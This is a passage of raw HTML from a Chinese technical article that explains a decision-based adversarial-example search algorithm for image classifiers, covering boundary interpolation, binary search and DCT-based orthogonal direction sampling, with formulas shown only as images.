255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;"></span></section><section style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><strong><span style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 15px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">插值方法</span></strong></section><p cid="n12" mdtype="paragraph" style="margin-right: 8px;margin-left: 8px;text-indent: 0em;white-space: normal;"><strong style="text-indent: 0em;color: rgb(34, 34, 34);letter-spacing: 0.544px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;orphans: 4;text-align: start;white-space: pre-wrap;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></strong><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">如下图所示，受watermark攻击的启发，边界面具有小曲率的凸曲面，从给定角度</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4253968253968254" data-s="300,640" style="text-align: center;width: 47px;height: 20px;" data-type="png" data-w="315" src="https://wechat2rss.xlab.app/img-proxy/?k=530784b3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hjJ0FsIpsUnDF3AcEKxic376QPriaHia2a67PS2nWYLFxZNSicQ2waVSpibQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">，距离为d的点</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.42955326460481097" data-s="300,640" style="text-align: center;text-indent: 0em;width: 60px;height: 26px;" data-type="png" data-w="291" src="https://wechat2rss.xlab.app/img-proxy/?k=64e7058f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hF5PO8YW0KYbmgqMJtof36PlYk9RDics4EaupBF02yJbV3rYs0WgobWg%2F640%3Fwx_fmt%3Dpng"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">开始，给出角度</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.028169014084507" data-s="300,640" style="text-align: center;text-indent: 0em;width: 21px;height: 22px;" data-type="png" data-w="142" src="https://wechat2rss.xlab.app/img-proxy/?k=d7c045ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hqkibXUaiaQ6XUiac0bWrUSjaNcAvLCDastTpVOymsOPLOXQprSic4spvkw%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: center;text-indent: 0em;"></span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">距离</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.35714285714285715" data-s="300,640" style="text-align: center;text-indent: 0em;width: 67px;height: 24px;" data-type="png" data-w="490" src="https://wechat2rss.xlab.app/img-proxy/?k=285feb64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hwYtGwnga2yZJibSokiawYsWFpmAq4Ucl1RZTx3oibsSxDGESqSfoiaHkQA%2F640%3Fwx_fmt%3Dpng"/><span style="text-align: center;text-indent: 0em;">，</span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">在边界上以角度找到第三个点。当<img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hjJ0FsIpsUnDF3AcEKxic376QPriaHia2a67PS2nWYLFxZNSicQ2waVSpibQ/0?wx_fmt=png" data-cropx1="0" data-cropx2="107.23404255319149" data-cropy1="0" data-cropy2="134.04255319148936" data-galleryid="" data-ratio="1.2523364485981308" data-s="300,640" style="height: 20px;white-space: normal;text-align: center;width: 16px;" data-type="jpeg" data-w="107" src="https://wechat2rss.xlab.app/img-proxy/?k=644ab006&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hSDicHD1b8GSKpriaRXJzbI5AW5HpA8bZqt8iauU3CRo659teuwAqqaGog%2F640%3Fwx_fmt%3Djpeg"/></span><span style="text-indent: 0em;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);">为0，<span style="letter-spacing: 0.544px;"></span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.028169014084507" data-s="300,640" style="height: 22px;text-indent: 0em;text-align: center;width: 21px;" data-type="png" data-w="142" src="https://wechat2rss.xlab.app/img-proxy/?k=d7c045ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hqkibXUaiaQ6XUiac0bWrUSjaNcAvLCDastTpVOymsOPLOXQprSic4spvkw%2F640%3Fwx_fmt%3Dpng"/><strong><sup><span style="font-family: 等线;font-size: 14px;vertical-align: super;"></span></sup></strong>/2和<img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.028169014084507" data-s="300,640" style="height: 22px;text-indent: 0em;text-align: center;width: 21px;" data-type="png" data-w="142" src="https://wechat2rss.xlab.app/img-proxy/?k=d7c045ee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hqkibXUaiaQ6XUiac0bWrUSjaNcAvLCDastTpVOymsOPLOXQprSic4spvkw%2F640%3Fwx_fmt%3Dpng"/></span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">，通过二阶多项式插值从角度到距离并在以下位置找到其最小值：</span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;"></span><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;"></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.23905723905723905" data-s="300,640" style="width: 196px;height: 47px;" data-type="png" data-w="297" src="https://wechat2rss.xlab.app/img-proxy/?k=70eff391&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hZLOkz1xS684Ne76I5UUmr6zaqz7youR3dHM3gpcy2fDsTN2TwMCBiaA%2F640%3Fwx_fmt%3Dpng"/></p><section style="margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;">利用二分搜索法找到了</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.1008403361344539" data-s="300,640" style="text-align: center;width: 17px;height: 19px;" data-type="png" data-w="119" src="https://wechat2rss.xlab.app/img-proxy/?k=28d9d1f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hhFSJAcwn3LeibWdmXM0PFWFutX7ibyiaIcgXYvKeI8dziaCEOGP5bFWicBg%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;">和</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5648854961832062" data-s="300,640" style="text-align: center;width: 39px;height: 22px;" data-type="png" data-w="262" src="https://wechat2rss.xlab.app/img-proxy/?k=ef1fc582&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hiarACcsXNWK9Z6icLib4oKx1soXfLPlfoKlFtuYhutrjs3Zytf1URhF4Q%2F640%3Fwx_fmt%3Dpng"/><span style="background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;text-indent: 0em;">之间的边界点，点</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hznsePK65Ga4z688qGPM7lNib8lfaCd9bQtbia4vNf4XyoTmooiaQGxEng/0?wx_fmt=png" data-cropx1="0" data-cropx2="194" data-cropy1="0" data-cropy2="89.24000000000002" data-galleryid="" data-ratio="0.4484536082474227" data-s="300,640" style="text-align: center;width: 50px;height: 23px;" data-type="jpeg" data-w="194" src="https://wechat2rss.xlab.app/img-proxy/?k=6d1d081d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hTcpibGgsib2IJKiavc76shI8Gzv4k6sicssiaAVPI5Z1KpmziaeR0FqLkOicg%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">在边界上找到的最近的点。</span></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6461538461538462" data-s="300,640" style="width: 358px;height: 231px;" data-type="png" data-w="585" src="https://wechat2rss.xlab.app/img-proxy/?k=6caa2651&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hlERYuym1ia9JeYJyqD8EYPz5kVcCFHhtqGGtWUwhVx3LWmeJicArrqow%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">图二</span></section><section style="margin: 0.8em 8px;box-sizing: border-box;line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><strong style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="font-size: 16px;"><span style="outline: 0px;max-width: 100%;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">算法流程图</span></strong></span></strong></section><p style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8004866180048662" data-s="300,640" style="width: 508px;height: 407px;" data-type="png" data-w="822" src="https://wechat2rss.xlab.app/img-proxy/?k=52b816cb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hMx864liaRnvqYLkH0Pb2arvX7DDbgPmPZnzFbJu9CC25e0z2eLLvyQQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;margin-bottom: 0em;margin-left: 8px;margin-right: 8px;"><span style="color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 12px;letter-spacing: 0.544px;text-align: center;background-color: rgb(255, 255, 255);">图三</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.75em 8px 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: justify;"><strong><span style="font-size: 15px;box-sizing: border-box;">基本流程：</span></strong><span style="font-size: 15px;box-sizing: border-box;">首先构建超平面，通过旋转角度搜索更近的对抗样本，再通过二分法细化角度。如果第二步找不到更近的对抗样本，则重新采样方向构建另一个超平面去寻找。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.75em 8px 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: justify;"><strong><span style="font-size: 15px;box-sizing: border-box;">1.初始化：</span></strong><span style="font-size: 15px;box-sizing: border-box;">该算法需要一个初始化的点，通过目标攻击或非目标攻击生成对抗样本点。</span></p><p style="margin-left: 8px;margin-right: 8px;text-indent: 0em;text-align: justify;margin-top: 0.75em;"><strong><span style="font-size: 15px;box-sizing: border-box;">2.搜索新方向：</span></strong><span style="font-size: 15px;box-sizing: border-box;">第k次迭代中，原始样本和当前对抗样本连线向量</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hbuZTFyUmicfIEiakwman8aMciavRUpx5UD8rCiagBxiceniaFRDL3TYXGMAQ/0?wx_fmt=png" data-cropx1="0" data-cropx2="93" data-cropy1="0" data-cropy2="88.77272727272728" data-galleryid="" data-ratio="0.967741935483871" data-s="300,640" style="text-align: center;width: 22px;height: 21px;" data-type="jpeg" data-w="93" src="https://wechat2rss.xlab.app/img-proxy/?k=a3d3a3ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hiafkupcRUgdDBV3OvrwfGXDaB36icJx0dSPVNCcrWVqRdmc2f2F5xCsQ%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 15px;box-sizing: border-box;">，使用DCT基产生一个伪随机向量</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0388349514563107" data-s="300,640" style="text-align: center;text-indent: 0em;width: 23px;height: 24px;" data-type="png" data-w="103" src="https://wechat2rss.xlab.app/img-proxy/?k=347558a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hJB2TH0fLcmBowRZ52qc872gtGdqepa4I5bLIPPbO6WooowTdibpUr7A%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;box-sizing: border-box;">，将</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="1.0388349514563107" data-s="300,640" style="height: 24px;text-align: center;width: 23px;" data-type="png" data-w="103" src="https://wechat2rss.xlab.app/img-proxy/?k=347558a4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hJB2TH0fLcmBowRZ52qc872gtGdqepa4I5bLIPPbO6WooowTdibpUr7A%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;box-sizing: border-box;">与</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hbuZTFyUmicfIEiakwman8aMciavRUpx5UD8rCiagBxiceniaFRDL3TYXGMAQ/0?wx_fmt=png" data-cropx1="0" data-cropx2="93" data-cropy1="0" data-cropy2="88.77272727272728" data-galleryid="" data-ratio="0.967741935483871" data-s="300,640" style="height: 21px;white-space: normal;text-align: center;width: 22px;" data-type="jpeg" data-w="93" src="https://wechat2rss.xlab.app/img-proxy/?k=a3d3a3ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hiafkupcRUgdDBV3OvrwfGXDaB36icJx0dSPVNCcrWVqRdmc2f2F5xCsQ%2F640%3Fwx_fmt%3Djpeg"/><span style="font-size: 15px;box-sizing: border-box;">和前</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hmvlxiajkbBSxicJkw7WegfQXs9wwgqwruNpVy8VanYlzLereuiaWqQmVw/0?wx_fmt=png" data-cropx1="13.688888888888888" data-cropx2="143.73333333333332" data-cropy1="0" data-cropy2="95.82222222222222" data-galleryid="" data-ratio="0.7230769230769231" data-s="300,640" style="text-align: center;width: 38px;height: 28px;" data-type="jpeg" data-w="130" src="https://wechat2rss.xlab.app/img-proxy/?k=afc9b422&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hBXBV0jWE24rn63jMgNPwZkm1iaKlMIrfDD5xjHpnZicQLoicRbgLibTO5w%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 0em;font-size: 15px;box-sizing: border-box;">次产生的方向做施密特正交化，正交后的方向向量为</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hibicqWLna3nYgibiaYeibMLsfFlDXtIMuPxBUQGB15lYicIkJBw1pUVwNzuA/0?wx_fmt=png" data-cropx1="0" data-cropx2="88" data-cropy1="0" data-cropy2="100.57142857142858" data-galleryid="" data-ratio="1.1136363636363635" data-s="300,640" style="text-align: center;text-indent: 0em;width: 21px;height: 24px;" data-type="jpeg" data-w="88" src="https://wechat2rss.xlab.app/img-proxy/?k=2521273b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hfTicUxErOhSh8Amicc0j4zicVmrRyq6hpR1kia85tN378FWly3bS6BT8Ow%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 0em;font-size: 15px;box-sizing: border-box;">，即本次产生的新方向。</span></p><p style="margin-left: 8px;margin-right: 8px;text-indent: 0em;text-align: justify;margin-top: 0.75em;"><strong style="text-indent: 0em;"><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">3.搜索：</span></strong><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">在当前方向<img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hibicqWLna3nYgibiaYeibMLsfFlDXtIMuPxBUQGB15lYicIkJBw1pUVwNzuA/0?wx_fmt=png" data-cropx1="0" data-cropx2="88" data-cropy1="0" data-cropy2="92.19047619047619" data-galleryid="" data-ratio="1.0227272727272727" data-s="300,640" style="height: 22px;white-space: normal;text-align: center;width: 21px;" data-type="jpeg" data-w="88" src="https://wechat2rss.xlab.app/img-proxy/?k=d19c9735&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hnLU6xIIjUh8Y7mMSzYUu5nVrO2AW8ugnLAjP3ic3MI1iaA9Jc7cD9RSw%2F640%3Fwx_fmt%3Djpeg"/></span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">和<img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hbuZTFyUmicfIEiakwman8aMciavRUpx5UD8rCiagBxiceniaFRDL3TYXGMAQ/0?wx_fmt=png" data-cropx1="0" data-cropx2="93" data-cropy1="0" data-cropy2="97.22727272727273" data-galleryid="" data-ratio="1.021505376344086" data-s="300,640" style="height: 23px;white-space: normal;text-align: center;width: 22px;" data-type="jpeg" data-w="93" src="https://wechat2rss.xlab.app/img-proxy/?k=e0c21f9b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3h4ia0jH4Ab9q7PT6fcrk2mCtZAx5iaAI8ciaiadmKXEwlvucAh0GxhJKyiaw%2F640%3Fwx_fmt%3Djpeg"/>所</span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">构成的平面内，由当前给定的最大角度</span><img class="rich_pages wxw-img" data-croporisrc="https://mmbiz.qlogo.cn/sz_mmbiz_png/0NpbNYDUplStWEVM66wslV5lwTWrUh3hOAREwEzDic0OHvfhmfuCQCBnjviaFicAibwicHkJhSsfwMe8icqOZicdTdaEg/0?wx_fmt=png" data-cropx1="0" data-cropx2="165" data-cropy1="0" data-cropy2="108.42857142857143" data-galleryid="" data-ratio="0.6545454545454545" data-s="300,640" style="text-align: center;width: 35px;height: 23px;" data-type="jpeg" data-w="165" src="https://wechat2rss.xlab.app/img-proxy/?k=ae2c7cae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hHgocvgC14DoLTPVu1HJEnc6JpvWGNrv0cnu4x6HyCl2ibbmlCWBZmIg%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">，</span><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">乘以系数</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.06765463917525773" data-s="300,640" style="text-align: center;width: 260px;height: 18px;" data-type="png" data-w="1552" src="https://wechat2rss.xlab.app/img-proxy/?k=a48dcb50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hHhiakTuHSd0oPbEGialsiaMmZtaGFV9Uia7aqd6Y8H95Cgq8icib670P8wvQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.544px;">来试探点</span><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.31218274111675126" data-s="300,640" style="text-align: center;width: 67px;height: 21px;" data-type="png" data-w="394" src="https://wechat2rss.xlab.app/img-proxy/?k=b441c87f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplStWEVM66wslV5lwTWrUh3hGDhvPbLM5fLYzjStgQq4RMpsBwlzm55KGZaRa9Aiczy6YLuzdJdHmMQ%2F640%3Fwx_fmt%3Dpng"/><span style="text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, 